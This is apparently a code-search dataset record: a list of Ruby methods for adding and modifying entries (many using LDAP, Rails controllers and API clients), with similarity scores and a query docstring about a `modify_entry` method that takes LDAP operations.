"def add\n ensure_client\n required_attributes = %w[deviceVolumeName isShareable storageSystemUri]\n required_attributes.each { |k| raise IncompleteResource, \"Missing required attribute: '#{k}'\" unless @data.key?(k) || @data.key?(k.to_sym) }\n @data['name'] ||= @data['deviceVolumeName']\n response = @client.rest_post(\"#{BASE_URI}/from-existing\", { 'body' => @data }, @api_version)\n set_all(client.response_handler(response))\n self\n end",
"def add(requestor, dn, attributes)\n log(\"#{requestor[:name]} #{requestor[:ip]} added #{dn}\")\n ret = {\n :status => 1,\n :message => \"Success\",\n :values => \"\"\n }\n @ds.add(:dn => dn, :attributes => attributes)\n ret = @ds.get_operation_result\n return ret\n end",
"def insert_entry(params)\n Entry.create(params)\n end",
"def new_entry(entry)\n BatchEntries.create(\n batch_registries_id: @current_batch_registry.id,\n payload: entry.to_json,\n complete: false,\n error: false,\n current_status: 'registered'\n )\n end",
"def add_entry_of(habit_id, entry)\n entries.insert(\n timestamp: entry.timestamp,\n type: entry.type,\n habit_id: habit_id\n )\n end",
"def xattr_add_entry(name, value)\n raise ArgumentError, 'value is not a String' unless value.is_a?(String)\n\n C.archive_entry_xattr_add_entry(entry, name, Utils.get_memory_ptr(value), value.bytesize)\n end",
"def add_entry(symbol, *options)\r\n @list[0].add_entry(symbol, *options)\r\n end",
"def add_entry(entry)\n self.notes = \"#{entry}\\n#{notes}\".truncate_bytes(MAX_LENGTH)\n end",
"def add(resource, transaction = nil)\n add_containment_triple(resource.to_uri, transaction)\n end",
"def add(name, connection)\n @connections.store(name, connection)\n end",
"def add(dn, attributes)\n @conn.add(:dn => dn, :attributes => attributes)\n\n return RubyLdapom::LdapNode.new(self, dn, false)\n end",
"def add(entry)\n push entry\n return self\n end",
"def new_entry(resource_type, name, data=nil)\n case resource_type\n when :machine\n MachineSpec.new(self, resource_type, name, data)\n when :machine_image\n MachineImageSpec.new(self, resource_type, name, data)\n when :load_balancer\n LoadBalancerSpec.new(self, resource_type, name, data)\n else\n ManagedEntry.new(self, resource_type, name, data)\n end\n end",
"def create\n create_entry\n end",
"def <<(resource)\n relate_resource(resource)\n super\n end",
"def add(entry, type=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entry', entry);\n\t\t\tclient.add_param(kparams, 'type', type);\n\t\t\tclient.queue_service_action_call('baseentry', 'add', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def add(connection, table_name)\n if data_source_exists?(connection, table_name)\n primary_keys(connection, table_name)\n columns(connection, table_name)\n columns_hash(connection, table_name)\n indexes(connection, table_name)\n end\n end",
"def add(args)\n add_dn = args[:dn] or raise Net::LDAP::EmptyDNError, \"Unable to add empty DN\"\n add_attrs = []\n a = args[:attributes] and a.each { |k, v|\n add_attrs << [ k.to_s.to_ber, Array(v).map { |m| m.to_ber}.to_ber_set ].to_ber_sequence\n }\n\n message_id = next_msgid\n request = [add_dn.to_ber, add_attrs.to_ber_sequence].to_ber_appsequence(Net::LDAP::PDU::AddRequest)\n\n write(request, nil, message_id)\n pdu = queued_read(message_id)\n\n if !pdu || pdu.app_tag != Net::LDAP::PDU::AddResponse\n raise Net::LDAP::ResponseMissingOrInvalidError, \"response missing or invalid\"\n end\n\n pdu\n end",
"def create\n @entry = @resource_finder.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n flash[:notice] = \"Entry for #{@entry.player.full_name} was entered.\"\n format.html { redirect_to_new_resource }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize(dn = nil, attrs = {})\n #\n @ldap_entry = Net::LDAP::Entry.new(dn)\n attrs.each { |name, value| @ldap_entry[name] = value }\n @new_entry = true\n @persisted_attrs = {}\n self\n end",
"def manual_add_entry\n address_book.add_entry(enter_name, enter_phone, enter_email)\n end",
"def add_content(entry_id, resource)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.add_param(kparams, 'resource', resource);\n\t\t\tclient.queue_service_action_call('baseentry', 'addContent', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def create_entry!(*args)\n delegate_to_entry('create!', args)\n end",
"def add_to_database\n Link.add({\"assignment_id\" => \"#{self.assignment_id}\", \"link\" => \"#{self.link}\", \"type\" => \"#{self.type}\"})\n end",
"def create(attributes)\n entry = new(attributes)\n entry.save\n entry\n end",
"def add_record(channel_name, identifier)\n raise NotImplementedError\n end",
"def add(content_type, attributes)\n _attributes = self.filter_attributes(content_type, attributes)\n\n entry = content_type.build_entry(_attributes)\n\n key = File.join(content_type.slug, entry._slug)\n\n self.items[key] = self.ids[entry._id] = entry\n end",
"def create\n @ldap_entry = LdapEntry.new(ldap_entry_params)\n\n respond_to do |format|\n if @ldap_entry.save\n format.html { redirect_to ldap_entries_path, notice: 'Ldap entry was successfully created.' }\n format.json { render json: @ldap_entry, status: :created, location: @ldap_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ldap_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_entry(task, measurement)\n entry = Entry.new(task.label, measurement)\n entries.push(entry)\n entry\n end",
"def add(data_entry)\n\t\t\tkparams = {}\n\t\t\t# Data entry\n\t\t\tclient.add_param(kparams, 'dataEntry', data_entry);\n\t\t\tclient.queue_service_action_call('data', 'add', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def insert(anEntry)\n symbol_table.insert(anEntry)\n end",
"def create(connection)\n response = Hpricot.XML(connection.process(Document::Add.new(self).xml))\n raise Exception, response.at('error').innerHTML if response.at('error')\n self.handle = response.at('AddedObjectHandle').innerHTML\n self\n end",
"def add_resource(resource, key_name, read_only)\n self.class.ensure_resource!(resource)\n @data[key_name] << { 'resourceUri' => resource['uri'], 'readOnly' => read_only }\n end",
"def add_info( info_attributes = {})\n info = Info.new( info_attributes )\n self.infos << info\n info\n end",
"def write_entry(key, entry, **options)\n write_serialized_entry(key, serialize_entry(entry, **options), **options)\n end",
"def add_entry_to_buffer(key_words,key_lang,xlated,entry)\n\t\tdict_id=entry['dict_id']\n\t\t##debug(sprintf(\"add_entry id(%s),lang(%s),[%s]\\n\",dict_id,key_lang,key_words))\n\t\t##\n\t\t## parse json-data\n\t\t##\n\t\tbegin\n\t\t\tentry_data=JSON.parse(entry['data'])\n\t\trescue\n\t\t\t##printf(\"Data Error![%s]\\n\",entry['data'])\n\t\t\treturn \n\t\tend\n\t\t##debug(sprintf(\"ENTRYDATA [%s]\\n\",entry_data.inspect()))\n\t\tgrammar=entry_data[\"#GRAMMAR\"]\n\t\tgrammar=\"\" if grammar==nil\n\t\tcategory=entry_data[\"#CATEGORY\"]\n\t\tcategory=\"\" if category==nil\n\t\tentry_num=entry_data[\"#ENTRY_NUM\"]\n\t\tentry_num=\"\" if entry_num==nil\n\t\thash_key= dict_id + key_words + key_lang + grammar + category\n\t\t@entries[hash_key]=Hash.new if @entries[hash_key]==nil\n\t\t@entries[hash_key][entry_num]=\n\t\t\t\t{\"dict_id\"=>dict_id,\n\t\t\t\t\"key_words\"=>key_words,\n\t\t\t\t\"grammar\"=>grammar,\n\t\t\t\t\"category\"=>category,\n\t\t\t\t\"key_lang\"=>key_lang,\n\t\t\t\t\"xlated_word\"=>xlated,\n\t\t\t\t\"entry_data\"=>entry_data}\n\tend",
"def add_result(entry)\n with_hold_file('a') do |file|\n file.write EntrySerializer.new(entry)\n file.write \"\\n\"\n end\n end",
"def entry!\n description = customer_or_supplier \\\n proc { customer.name },\n proc { supplier.name }\n\n unless e = self.entry\n e = business_account.add_entry amount, \\\n commodity_account, amount_net,\n tax_account, amount_tax\n e.description = description\n e.code = number.to_s\n e.flag = '!'\n end\n\n e\n end",
"def add_account(account)\n @accounts[account.id] = account\n end",
"def write_entry(key, entry, **options)\n raise NotImplementedError.new\n end",
"def add(entry, src_path, &continue_on_exists_proc)\n continue_on_exists_proc ||= proc { ::Zip.continue_on_exists_proc }\n check_entry_exists(entry, continue_on_exists_proc, 'add')\n new_entry = entry.kind_of?(::Zip::Entry) ? entry : ::Zip::Entry.new(@name, entry.to_s)\n new_entry.gather_fileinfo_from_srcpath(src_path)\n new_entry.dirty = true\n @entry_set << new_entry\n end",
"def add_entry(db, book_name, year_pubished, genre, author, rating, read)\n\tdb.execute(\"INSERT INTO books (book_name, year_pubished, genre, author, rating, read) VALUES (?, ?, ?, ?, ?, ?)\", [book_name, year_pubished, genre, author, rating, read])\nend",
"def put_entry(entry)\n @io.puts EntryFormatter.new(entry)\n end",
"def modify_entry( c, dn, ops ) # :yields: connection_info, distinguished_name, operations\n \n entry = self.get_entry( c, dn )\n\n @ldap.modify dn: dn, operations: ops\n raise \"Unable to modify record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|Attribute or Value Exists)/\n end",
"def make_entry()\n\n seq_id = @filehandler.readline.chomp\n puts seq_id\n sequence = @filehandler.readline.chomp\n identifier = @filehandler.readline.chomp\n quality = @filehandler.readline.chomp\n\n Entry.new(seq_id, sequence, identifier, quality)\n end",
"def addStatusInfoEntry(name, value = \"\")\n @device.addStatusInfoEntry(name,value) ;\n end",
"def create_new_entry()\n\tputs \"You are adding a new entry.\"\n\tentry = {}\n\tputs \"First name:\"\n\tentry[:first_name] = gets().chomp\n\tputs \"Last name:\"\n\tentry[:last_name] = gets().chomp\n\tputs \"Phone number:\"\n\tentry[:phone_number] = gets().chomp\n\tputs \"Email:\"\n\tentry[:email] = gets().chomp\n\t# entry.each do |entry_field, value|\n\t# \tputs \"Enter the person's #{entry_field}:\"\n\t# \tvalue = gets.chomp\n\t# \tputs entry.inspect\n\t# \tputs \"---\"\n\t# end\n\tentry_name = entry[:last_name] + \", \" + entry[:first_name]\n\tAddr_book[entry_name] = entry\n\tputs Addr_book.inspect\n\t# Exit workflow and return to main menu.\nend",
"def create\n @entry = Entry.new(params[:entry])\n\n respond_to do |format|\n if @current_user.entries << @entry\n format.html { redirect_to user_entries_path, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_record(asset, style_sheet = \"_none_\", category = \"_none_\")\n post(\"metadata.insert\", self.class.xml.request { |r|\n r.group @config.group\n r.data { |d| d.cdata! asset.xml }\n r.category category\n r.styleSheet style_sheet\n })\n end",
"def add locale, key, value\n entry = self[key] ||= Entry.new\n entry[locale] = value\n end",
"def add_info(info)\n self.info.push info\n end",
"def add_link(lh)\n lnk_wid = lh[:wid]\n\tlnk_role = lh[:role]\n\t\n\t# find or create the attach node\n if @doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last.nil?\n Nokogiri::XML::Builder.with(@doc.xpath('//work-item').last) do\n field(:id => 'linkedWorkItems') {\n\t list {}\n\t }\n end\n end\n\t\n\t# build and attach the link struct\n\tNokogiri::XML::Builder.with(@doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last) do\n\t struct {\n\t item(:id => 'revision')\n\t\titem(:id => 'workItem') {\n\t\t text lnk_wid\n\t\t}\n\t\titem(:id => 'role') {\n\t\t text lnk_role\n\t\t}\n\t }\n\tend\n end",
"def record(table_name, entry)\n @tables[table_name].record entry\n end",
"def carton_new(entry)\n #log_msg\"in new\"\n record_map = eval entry.record\n create_carton_util(record_map)\n\n end",
"def create\n cite_key = params['entry']['cite_key']\n category = params['entry']['category']\n clean_params = EntryValidator.clean_params category, params\n @entry = Entry.new(category:category, cite_key:cite_key)\n entry_valid = EntryValidator.validate @entry, clean_params\n\n respond_to do |format|\n if entry_valid and @entry.save and create_fields(clean_params)\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n @fields = get_fields\n format.html { render :new_thing }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def write_entry(key, entry, raw: false, **options)\n write_serialized_entry(key, serialize_entry(entry, raw: raw, **options), raw: raw, **options)\n end",
"def add(r)\n db[r.name] = r\n end",
"def record(entry)\n raise NotImplementedError\n end",
"def add_resource(doc_path, res_path, data, props=nil)\n n = @content_tree.add_resource(doc_path, res_path, data)\n \n if props and (! props.empty?)\n add_metadata(resource_meta_path(doc_path, res_path), :resource, \n props, :properties)\n end\n n\n end",
"def create_entry\n entry = Entry.create()\n entry.white_cards << @white_card\n entry.black_card = @black_card\n entry.save\n return entry\n end",
"def add(entry, lines)\n # this assumes that entry is unique\n @entries << entry\n @entries_with_lines[entry] = lines\n @lines += lines\n self\n end",
"def add(record)\n @server.add record.class.name, record.to_doc\n end",
"def build_entry(attributes)\n ContentEntry.new(content_type: self).tap do |entry|\n # set the link to the mounting point\n entry.mounting_point = self.mounting_point\n\n # do not forget that we are manipulating dynamic fields\n attributes.each do |k, v|\n begin\n field = self.find_field(k)\n\n if field.nil? && v.is_a?(Hash) # not a dynamic field but localized (permalink ?)\n entry.send(:\"#{k}_translations=\", v)\n elsif field.nil?\n entry.send(:\"#{k}=\", v)\n else\n entry.send(:\"#{field.name}=\", v)\n end\n rescue NoMethodError => e\n Mounter.logger.error e.backtrace\n raise FieldDoesNotExistException.new(\"The '#{self.slug}' content type does not have a field named '#{k}'.\")\n end\n end\n\n # force the slug to be defined from its label and in all the locales\n entry.send :set_slug\n\n (self.entries ||= []) << entry\n end\n end",
"def create\n @entry = Entry.new(entry_params)\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_add_entry(entry,html_txt,infos)\n\t\t##debug(sprintf(\"ADD DICT ENTRY(%s)\\nINF(%s)\\n\",entry.inspect(),infos.inspect()))\n\n\t\t\n\t\tkey_words= entry['key_words']\n\t\tinfos[:key_words]=key_words\n\t\tinfos[:key_lang]=entry['key_lang']\n\n\n\t\tattr = \"\"\n\t\t[\"grammar\",\"category\"].each{|tag|\n\t\t\tattr << \"/\" << entry[tag] if entry[tag] != \"\"\n\t\t}\n\t\tattr << \"/\" if attr != \"\"\n\t\tprimary_lang=primary_lang(entry['dict_id'])\n\t\tif primary_lang==\"\"\n\t\t\tprimary_lang=entry['key_lang']\n\t\tend\n\t\tkey_term=\"\"\n\t\tif primary_lang != \"\" and infos[:xlated_word] != nil and infos[:xlated_word][primary_lang]!=nil\n\t\t\tinfos[:xlated_word][primary_lang].each{|w|\n\t\t\t\tkey_term << \",\" if key_term != \"\"\n\t\t\t\tkey_term << w \n\t\t\t}\n\t\tend\n\n\t\tinfos[:key_attr]=attr\n\t\tinfos[:attributes]=attr\n\t\tkey_txt = '<p class=\"dict_key_1\">'\n\t\tkey_txt << \"<b>\"\n\t\tif key_term==\"\"\n\t\t\tif key_words.index(\"$phrase$\")!= nil\n\t\t\t\tkey_txt << @to_search\n\t\t\telse\n\t\t\t\tkey_txt << key_words\n\t\t\tend\n\t\telse\n\t\t\tkey_txt << key_term\n\t\tend\n\t\tkey_txt << \"</b>\"\n\t\tif attr != \"\"\n\t\t\tkey_txt << ' <i>' + attr + '</i>' \n\t\tend\n\t\tkey_txt << '</p>'\n\n\t\tinfos[:dict_entry_key]= key_txt\n\t\tadd_entry(entry['dict_id'],\n\t\t\t key_words,\n\t\t\t [html_txt],\n\t\t\t infos)\n\t\t##debug(sprintf(\"INFOS-FINAL\\n %s\\n\",infos.inspect()))\n\tend",
"def create_link(resource, *args)\n link = ''.html_safe\n\n resource_name = normalized_resource_name(resource)\n object = determine_proper_resource(resource)\n options = args.first || {}\n\n # CSS classes for this crud link\n crud_link_css(options, 'create')\n # text to be displayed\n link_text = crud_link_text(options, 'create')\n\n # (optional) add a tooltip to the link\n if options.keys.include?(:tooltip)\n add_tooltip(options)\n end\n\n\n if defined? CanCan\n link += link_to link_text, url_for(resource), options if can?(:create, object)\n else\n link += link_to link_text, url_for(resource), options\n end\n\n link\n end",
"def create_content_entry(content_type, content_entry)\n # log before\n self.output_resource_op content_entry\n\n # get the params\n params = self.buffer_log { self.content_entry_to_params(content_entry) }\n\n # send the request\n response = self.post \"content_types/#{content_type}/entries\", params, nil, true\n\n self.apply_response(content_entry, response)\n\n status = self.response_to_status(response)\n\n # log after\n self.output_resource_op_status content_entry, status\n self.flush_log_buffer\n end",
"def add_line(line)\n @entries << line\n end",
"def << (record)\n raise \"Obj should be a Record\" unless record.class == Record\n @entries << record\n end",
"def insert(anEntry)\n e = validated_entry(anEntry)\n e.suffix = default_suffix if e.kind_of?(LogVar)\n defns[e.name] = e\n\n e\n end",
"def create\n @entry = Entry.new(entry_params)\n @dictionary = Dictionary.find(params[:dictionary_id])\n respond_to do |format|\n if @entry.save\n format.html { redirect_to dictionary_entry_path(@dictionary, @entry),\n notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @entry }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(name, attributes)\n attributes = attributes.dup\n\n # Add the objectclasses\n attributes[\"objectClass\"] = objectclasses.collect { |o| o.to_s }\n attributes[\"objectClass\"] << \"top\" unless attributes[\"objectClass\"].include?(\"top\")\n\n attributes[rdn.to_s] = [name]\n\n # Generate any new values we might need.\n generate(attributes)\n\n # And create our resource.\n connect { |conn| conn.add dn(name), attributes }\n end",
"def create\n @r_entry = REntry.new(r_entry_params)\n\n respond_to do |format|\n if @r_entry.save\n format.html { redirect_to @r_entry, notice: 'R entry was successfully created.' }\n format.json { render action: 'show', status: :created, location: @r_entry }\n else\n format.html { render action: 'new' }\n format.json { render json: @r_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n create_entry\n \n # Redirect to entry view to show the new element\n redirect_to show_entry_path(params[:type], @entry[:id])\n end",
"def write_entry(key, entry, options) # :nodoc:\n cleanup(@max_cleanup_time)\n\n method = exist?(key) ? :update : :insert\n\n @data.send(method, {key: key, value: Marshal.dump(entry)})\n true\n rescue Sequel::Error => e\n logger.error(\"Sequel::Error (#{e}): #{e.message}\") if logger\n false\n end",
"def add(host, key); end",
"def <<(new_entry)\n @entries ||= []\n unless new_entry.kind_of? FeedTools::FeedItem\n raise ArgumentError,\n \"You should only add FeedItem objects to the entries array.\"\n end\n @entries << new_entry\n end",
"def add(element)\n @entries << element\n element.parent = self\n end"
] | [
"0.61634195",
"0.6126714",
"0.6046693",
"0.60178816",
"0.58524925",
"0.568015",
"0.56614065",
"0.5592205",
"0.5586353",
"0.5576164",
"0.55708426",
"0.55561775",
"0.5537293",
"0.5488622",
"0.5487179",
"0.54644245",
"0.54437673",
"0.5431659",
"0.54093915",
"0.54081136",
"0.5394243",
"0.5335649",
"0.533192",
"0.53185534",
"0.52872497",
"0.52623206",
"0.52533054",
"0.5252948",
"0.52488714",
"0.5231823",
"0.52303463",
"0.521851",
"0.52184474",
"0.51902944",
"0.5189856",
"0.5184399",
"0.51767606",
"0.5156115",
"0.51531774",
"0.5152427",
"0.51348436",
"0.5110211",
"0.51086473",
"0.5075831",
"0.50554866",
"0.5042567",
"0.5026156",
"0.5018106",
"0.5008123",
"0.50057286",
"0.50022626",
"0.50019896",
"0.49998146",
"0.49940374",
"0.49885726",
"0.49681592",
"0.4965083",
"0.49630314",
"0.4962817",
"0.49276534",
"0.4923985",
"0.4917078",
"0.49066576",
"0.48981404",
"0.48874173",
"0.4864524",
"0.48636258",
"0.48624805",
"0.4859949",
"0.4820145",
"0.48145622",
"0.48050022",
"0.4799535",
"0.47973508",
"0.47973305",
"0.47929254",
"0.4783401",
"0.4782409",
"0.4779904",
"0.47792044",
"0.47756013",
"0.47641814",
"0.47497973",
"0.47497123",
"0.47382125",
"0.473665",
"0.4733985",
"0.47248194",
"0.4722706",
"0.4722203",
"0.47188714",
"0.4718744",
"0.47172832",
"0.47112012",
"0.47045588",
"0.4703201",
"0.47005266",
"0.46986514",
"0.46902728",
"0.46886644"
] | 0.76255393 | 0 |
== Modify Entry Accepts a connection resource object as the first argument, followed by an Array of ldap operations. It is intended to be used with Chef::Resource::LdapEntry objects that will also have a .dn method that returns the DN of the entry to be modified. Each ldap operation in the ldap operations list is an Array object with the following items: 1. LDAP operation ( e.g. :add, :delete, :replace ) 2. Attribute name ( String or Symbol ) 3. Attribute Values ( String or Symbol, or Array of Strings or Symbols ) So an example of an operations list to be passed to this method might look like this: [ [ :add, 'attr1', 'value1' ], [ :replace, :attr2, [ :attr2a, 'attr2b', :attr2c ] ], [ :delete, 'attr3' ], [ :delete, :attr4, 'value4' ] ] Note that none of the values passed can be Integers. They must be STRINGS ONLY! This is a limitation of the ruby netldap library. | def modify_entry( c, dn, ops ) # :yields: connection_info, distinguished_name, operations
entry = self.get_entry( c, dn )
@ldap.modify dn: dn, operations: ops
raise "Unable to modify record: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message =~ /(Success|Attribute or Value Exists)/
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_entry(entry, ldap_attrs, user_attrs, ldap_key, user_key)\n if user_attrs.has_key?(user_key)\n if ldap_attrs.has_key?(ldap_key)\n if user_attrs[user_key] != ldap_attrs[ldap_key].first\n entry << LDAP.mod(LDAP::LDAP_MOD_REPLACE, ldap_key, user_attrs[user_key].is_a?(String) ? [ user_attrs[user_key] ] : user_attrs[user_key] )\n end\n else\n entry << LDAP.mod(LDAP::LDAP_MOD_ADD, ldap_key, user_attrs[user_key].is_a?(String) ? [ user_attrs[user_key] ] : user_attrs[user_key] )\n end\n else\n if ldap_attrs.has_key?(ldap_key)\n entry << LDAP.mod(LDAP::LDAP_MOD_DELETE, ldap_key, [ ])\n end\n end\n end",
"def modify(ldap)\n puts \"Enter firstname\"\n firstname = gets.chomp\n puts \"Enter attribute to modify\"\n attribute = gets.chomp\n puts \"Enter new value\"\n value = gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ops = [\n [:replace, attribute.to_sym, value ]\n ]\n ldap.modify :dn => dn, :operations => ops\n puts \"****** modify result ******\"\n puts ldap.get_operation_result\n end",
"def update_object(method,domain,object,attribute,value)\n @ldap = ldap_connect(domain,ADMINUSER,ADMINPASS)\n begin\n if (method == 'add')\n @ldap.add_attribute(object,attribute,value)\n elsif (method == 'replace')\n @ldap.replace_attribute(object.to_s,attribute,value)\n end\n rescue Exception => e\n puts\n puts \" Error: #{e.message}\"\n puts \" Error: #{e.backtrace.inspect}\"\n puts \" Error: #{@ldap.get_operation_result.error_message}\"\n puts \" Error: #{@ldap.get_operation_result.code}: #{@ldap.get_operation_result.message}\"\n puts\n abort\n else\n puts \" Result: #{@ldap.get_operation_result.code}: #{@ldap.get_operation_result.message}\"\n end\n end",
"def modify(requestor, dn, ops)\n ops.each do |op|\n #pp [\"op\", op]\n #log(\"#{requestor[:name]} #{requestor[:ip]} operation #{op[0]} #{op[1]} \\\"#{op[2].join(', ')}\\\" for #{dn}\")\n end\n ret = {\n :status => 1,\n :message => \"Success\",\n :values => \"\"\n }\n @ds.modify(:dn => dn, :operations => ops)\n ret = @ds.get_operation_result\n return ret\n end",
"def modify( branch, mods )\n\t\tif mods.first.respond_to?( :mod_op )\n\t\t\tself.log.debug \"Modifying %s with LDAP mod objects: %p\" % [ branch.dn, mods ]\n\t\t\tself.conn.modify( branch.dn, mods )\n\t\telse\n\t\t\tnormattrs = normalize_attributes( mods )\n\t\t\tself.log.debug \"Modifying %s with: %p\" % [ branch.dn, normattrs ]\n\t\t\tself.conn.modify( branch.dn, normattrs )\n\t\tend\n\tend",
"def add_entry( c, dn, attrs ) # :yields: connection_info, distinguished_name, attributes\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n \n # Ensure no duplicates by casting as a case insensitive, case preserving hash\n attrs = CICPHash.new.merge(attrs)\n # Ensure relativedn is included in the attribute list\n relativedn = dn.split(/,(?!([\\w -]+=[\\w -]+,?){1,}\\\")/).first\n attrs.merge!(Hash[*relativedn.split('=', 2).flatten])\n @ldap.add dn: dn, attributes: attrs\n raise \"Unable to add record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message == 'Success'\n end",
"def modify(dn, attributes)\n if attributes.kind_of?(Hash)\n attributes = normalize_attributes(attributes)\n else\n attributes = attributes.map do |(action, key, values)|\n [action, Ldaptic.encode(key), values.respond_to?(:before_type_cast) ? values.before_type_cast : [values].flatten.compact]\n end\n end\n log_dispatch(:modify, dn, attributes)\n adapter.modify(dn, attributes) unless attributes.empty?\n end",
"def diff_with_entry( attribute, values )\n\t\tmods = []\n\t\tattribute = attribute.to_s\n\t\tentry = self.entry || {}\n\t\tentry_values = entry.key?( attribute ) ? entry[attribute] : []\n\n\t\t# Workaround for the fact that Time has a #to_ary, causing it to become an\n\t\t# Array of integers when cast via Array().\n\t\tvalues = [ values ] if values.is_a?( Time )\n\n\t\tvalues = Array( values ).compact.\n\t\t\tcollect {|val| self.get_converted_attribute(attribute, val) }\n\t\tself.log.debug \" comparing %s values to entry: %p vs. %p\" %\n\t\t\t[ attribute, values, entry_values ]\n\n\t\t# If the attributes on the server are the same as the local ones,\n\t\t# it's a NOOP.\n\t\tif values.sort == entry_values.sort\n\t\t\tself.log.debug \" no change.\"\n\t\t\treturn nil\n\n\t\t# If the directory doesn't have this attribute, but the local\n\t\t# object does, it's an ADD\n\t\telsif entry_values.empty?\n\t\t\tself.log.debug \" ADD %s: %p\" % [ attribute, values ]\n\t\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_ADD, attribute, values )\n\n\t\t# ...or if the local value doesn't have anything for this attribute\n\t\t# but the directory does, it's a DEL\n\t\telsif values.empty?\n\t\t\tself.log.debug \" DELETE %s\" % [ attribute ]\n\t\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_DELETE, attribute )\n\n\t\t# ...otherwise it's a REPLACE\n\t\telse\n\t\t\tself.log.debug \" REPLACE %s: %p with %p\" %\n\t\t\t\t[ attribute, entry_values, values ]\n\t\t\treturn LDAP::Mod.new( LDAP::LDAP_MOD_REPLACE, attribute, values )\n\t\tend\n\n\tend",
"def modify_master_entry(master_entry, change_to_platform)\n print \"LdapHandler::modify_master_entry\\n\"\n master_entry.each { |x|\n printf(\"updating %s\\n\", x.dn) \n #operations = [[:replace, :puppetVar, [\"platform=#{change_to_platform}\"]]]\n #@ldap.modify(:dn => x.dn, :operations => operations)\n #print \"\", @ldap.get_operation_result.message, \"\\n\"\n }\n end",
"def modify(args)\n modify_dn = args[:dn] or raise \"Unable to modify empty DN\"\n ops = self.class.modify_ops args[:operations]\n\n message_id = next_msgid\n request = [\n modify_dn.to_ber,\n ops.to_ber_sequence\n ].to_ber_appsequence(Net::LDAP::PDU::ModifyRequest)\n\n write(request, nil, message_id)\n pdu = queued_read(message_id)\n\n if !pdu || pdu.app_tag != Net::LDAP::PDU::ModifyResponse\n raise Net::LDAP::ResponseMissingOrInvalidError, \"response missing or invalid\"\n end\n\n pdu\n end",
"def update(name, is, should)\n if should[:ensure] == :absent\n Puppet.info \"Removing #{dn(name)} from ldap\"\n delete(name)\n return\n end\n\n # We're creating a new entry\n if is.empty? or is[:ensure] == :absent\n Puppet.info \"Creating #{dn(name)} in ldap\"\n # Remove any :absent params and :ensure, then convert the names to ldap names.\n attrs = ldap_convert(should)\n create(name, attrs)\n return\n end\n\n # We're modifying an existing entry. Yuck.\n\n mods = []\n # For each attribute we're deleting that is present, create a\n # modify instance for deletion.\n [is.keys, should.keys].flatten.uniq.each do |property|\n # They're equal, so do nothing.\n next if is[property] == should[property]\n\n attributes = ldap_convert(should)\n\n prop_name = ldap_name(property).to_s\n\n # We're creating it.\n if is[property] == :absent or is[property].nil?\n mods << LDAP::Mod.new(LDAP::LDAP_MOD_ADD, prop_name, attributes[prop_name])\n next\n end\n\n # We're deleting it\n if should[property] == :absent or should[property].nil?\n mods << LDAP::Mod.new(LDAP::LDAP_MOD_DELETE, prop_name, [])\n next\n end\n\n # We're replacing an existing value\n mods << LDAP::Mod.new(LDAP::LDAP_MOD_REPLACE, prop_name, attributes[prop_name])\n end\n\n modify(name, mods)\n end",
"def update!(**args)\n @collection_overrides = args[:collection_overrides] if args.key?(:collection_overrides)\n @credential = args[:credential] if args.key?(:credential)\n @custom_certificate_authority_roots = args[:custom_certificate_authority_roots] if args.key?(:custom_certificate_authority_roots)\n @description = args[:description] if args.key?(:description)\n @descriptor_url = args[:descriptor_url] if args.key?(:descriptor_url)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @operation = args[:operation] if args.key?(:operation)\n @options = args[:options] if args.key?(:options)\n @self_link = args[:self_link] if args.key?(:self_link)\n end",
